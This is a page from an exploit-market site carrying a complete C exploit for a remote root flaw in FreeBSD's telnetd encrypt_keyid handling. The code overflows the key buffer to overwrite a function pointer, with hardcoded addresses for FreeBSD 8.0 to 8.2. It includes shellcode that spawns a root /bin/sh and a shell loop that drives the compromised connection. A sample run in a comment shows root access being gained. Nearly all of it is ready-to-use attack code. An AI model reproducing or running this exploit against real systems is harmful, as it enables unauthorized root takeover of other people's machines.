[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Telnetd encrypt_keyid: Remote Root function pointer overwrite

Author
NighterMan
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-17310
Category
remote exploits
Date add
26-12-2011
Platform
linux
/***************************************************************************
 *            telnetd-encrypt_keyid.c
 *
 *  Mon Dec 26 20:37:05 CET 2011
 *  Copyright  2011  Jaime Penalba Estebanez (NighterMan)
 *
 *  nighterman@painsec.com - jpenalbae@gmail.com
 *  Credits to batchdrake as always
 *
 *            ______      __      ________
 *          /  __  /     /_/     /  _____/
 *         /  /_/ /______________\  \_____________
 *        /  ___ / __  / / __  /  \  \/ _ \/  __/
 *       /  /   / /_/ / / / / /___/  /  __/  /__
 *  ____/__/____\__,_/_/_/ /_/______/\___/\____/____
 *
 *
 ****************************************************************************/
 
/*
 *
 * Usage:
 *
 * $ gcc exploit.c -o exploit
 *
 * $ ./exploit 127.0.0.1 23 1
 * [<] Succes reading intial server request 3 bytes
 * [>] Telnet initial encryption mode and IV sent
 * [<] Server response: 8 bytes read
 * [>] First payload to overwrite function pointer sent
 * [<] Server response: 6 bytes read
 * [>] Second payload to triger the function pointer
 * [*] got shell?
 * uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
 *
 */
 
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
 
 
#define MAXKEYLEN 64-1
 
struct key_info
{
  unsigned char keyid[MAXKEYLEN];
  unsigned char keylen[4];
  unsigned char dir[4];
  unsigned char modep[4];
  unsigned char getcrypt[4];
};
 
 
static unsigned char shellcode[] =
   "\x31\xc0"                      // xor          %eax,%eax
   "\x50"                          // push         %eax
   "\xb0\x17"                      // mov          $0x17,%al
   "\x50"                          // push         %eax
   "\xcd\x80"                      // int          $0x80
   "\x50"                          // push         %eax
   "\x68\x6e\x2f\x73\x68"          // push         $0x68732f6e
   "\x68\x2f\x2f\x62\x69"          // push         $0x69622f2f
   "\x89\xe3"                      // mov          %esp,%ebx
   "\x50"                          // push         %eax
   "\x54"                          // push         %esp
   "\x53"                          // push         %ebx
   "\x50"                          // push         %eax
   "\xb0\x3b"                      // mov          $0x3b,%al
   "\xcd\x80";                     // int          $0x80
 
static unsigned char tnet_init_enc[] =
        "\xff\xfa\x26\x00\x01\x01\x12\x13"
        "\x14\x15\x16\x17\x18\x19\xff\xf0";
 
static unsigned char tnet_option_enc_keyid[] = "\xff\xfa\x26\x07";
static unsigned char tnet_end_suboption[] = "\xff\xf0";
 
 
/*
 * shell(): semi-interactive shell hack
 */
static void shell(int fd)
{
    fd_set  fds;
    char    tmp[128];
    int n;
     
    /* check uid */
    write(fd, "id\n", 3);
  
    /* semi-interactive shell */
    for (;;) {
        FD_ZERO(&fds);
        FD_SET(fd, &fds);
        FD_SET(0, &fds);
  
        if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) {
            perror("select");
            break;
        }
  
        /* read from fd and write to stdout */
        if (FD_ISSET(fd, &fds)) {
            if ((n = read(fd, tmp, sizeof(tmp))) < 0) {
                fprintf(stderr, "Goodbye...\n");
                break;
            }
            if (write(1, tmp, n) < 0) {
                perror("write");
                break;
            }
        }
  
        /* read from stdin and write to fd */
        if (FD_ISSET(0, &fds)) {
            if ((n = read(0, tmp, sizeof(tmp))) < 0) {
                perror("read");
                break;
            }
            if (write(fd, tmp, n) < 0) {
                perror("write");
                break;
            }
        }
    }
  
    close(fd);
    exit(1);
}
 
 
static int open_connection(in_addr_t dip, int dport)
{
   int pconn;
   struct sockaddr_in cdata;
   struct timeval timeout;
 
   /* timeout.tv_sec  = _opts.timeout; */
   timeout.tv_sec  = 8;
   timeout.tv_usec = 0;
 
   /* Set socket options and create it */
   cdata.sin_addr.s_addr = dip;
   cdata.sin_port = htons(dport);
   cdata.sin_family = AF_INET;
 
   pconn = socket(AF_INET, SOCK_STREAM, 0);
    
   if( pconn < 0 )
   {
      printf("Socket error: %i\n", pconn);
      printf("Err message: %s\n", strerror(errno));
      exit(-1);
   }
 
   /* Set socket timeout */
   if ( setsockopt(pconn, SOL_SOCKET, SO_RCVTIMEO,
           (void *)&timeout, sizeof(struct timeval)) != 0)
   {
      perror("setsockopt SO_RCVTIMEO: ");
      exit(1);
   }
    
   /* Set socket options */
   if ( setsockopt(pconn, SOL_SOCKET, SO_SNDTIMEO,
           (void *)&timeout, sizeof(struct timeval)) != 0)
   {
      perror("setsockopt SO_SNDTIMEO: ");
      exit(1);
   }
 
   /* Make connection */
   if (connect(pconn,(struct sockaddr *) &cdata, sizeof(cdata)) != 0)
   {
      close(pconn);
      return -1;
   }
    
   return pconn;
}
 
 
 
static void usage(char *arg)
{
    printf("Telnetd encrypt_keyid exploit for FreeBSD\n");
    printf("NighterMan <nighterman@painsec.com>\n\n");
    printf("Usage: %s [ip] [port] [target]\n", arg);
    printf("Available Targets:\n");
    printf(" - 1: FreeBSD 8.0 & 8.1\n");
    printf(" - 2: FreeBSD 8.2\n\n");
}
 
 
 
int main(int argc, char *argv[])
{
    /* Payload Size */
    int psize = (sizeof(struct key_info) +
                sizeof(tnet_option_enc_keyid) +
                sizeof(tnet_end_suboption));
     
    struct key_info bad_struct;
    unsigned char payload[psize];
    unsigned char readbuf[256];
     
    int ret;
    int conn;
    int offset = 0;
     
    if ( argc != 4) {
        usage(argv[0]);
        return -1;
    }
     
    /* Fill the structure */
    memset(&bad_struct, 0x90, sizeof(struct key_info));
    memcpy(&bad_struct.keyid[20], shellcode, sizeof(shellcode));
    memcpy(bad_struct.keylen,   "DEAD", 4);
    memcpy(bad_struct.dir,      "BEEF", 4);
    memcpy(bad_struct.modep,    "\x6c\x6f\x05\x08", 4); /* Readable address */
     
    /* Shellcode address (function pointer overwrite) */
    switch (atoi(argv[3])) {
        case 1:
            memcpy(bad_struct.getcrypt, "\xa6\xee\x05\x08", 4);
            break;
             
        case 2:
            memcpy(bad_struct.getcrypt, "\xed\xee\x05\x08", 4);
            break;
             
        default:
            printf("Bad target\n");
            return -1;
            break;
    }
     
    /* Prepare the payload with the overflow */
    memcpy(payload, tnet_option_enc_keyid, sizeof(tnet_option_enc_keyid));
    offset += sizeof(tnet_option_enc_keyid);
    memcpy(&payload[offset], &bad_struct, sizeof(bad_struct));
    offset += sizeof(bad_struct);
    memcpy(&payload[offset], tnet_end_suboption, sizeof(tnet_end_suboption));
     
 
    /* Open the connection */
    conn = open_connection(inet_addr(argv[1]), atoi(argv[2]));
    if (conn == -1) {
        printf("Error connecting: %i\n", errno);
        return -1;
    }
     
    /* Read initial server request */
    ret = read(conn, readbuf, 256);
    printf("[<] Succes reading intial server request %i bytes\n", ret);
     
     
    /* Send encryption and IV */
    ret = write(conn, tnet_init_enc, sizeof(tnet_init_enc));
    if (ret != sizeof(tnet_init_enc)) {
        printf("Error sending init encryption: %i\n", ret);
        return -1;
    }
    printf("[>] Telnet initial encryption mode and IV sent\n");
     
    /* Read response */
    ret = read(conn, readbuf, 256);
    printf("[<] Server response: %i bytes read\n", ret);
     
    /* Send the first payload with the overflow */
    ret = write(conn, payload, psize);
    if (ret != psize) {
        printf("Error sending payload first time\n");
        return -1;
    }
    printf("[>] First payload to overwrite function pointer sent\n");
     
    /* Read Response */
    ret = read(conn, readbuf, 256);
    printf("[<] Server response: %i bytes read\n", ret);
     
     
    /* Send the payload again to tigger the function overwrite */
    ret = write(conn, payload, psize);
    if (ret != psize) {
        printf("Error sending payload second time\n");
        return -1;
    }
    printf("[>] Second payload to triger the function pointer\n");
     
     
    /* Start the semi interactive shell */
    printf("[*] got shell?\n");
    shell(conn);
     
     
    return 0;
}



#  0day.today [2024-11-16]  #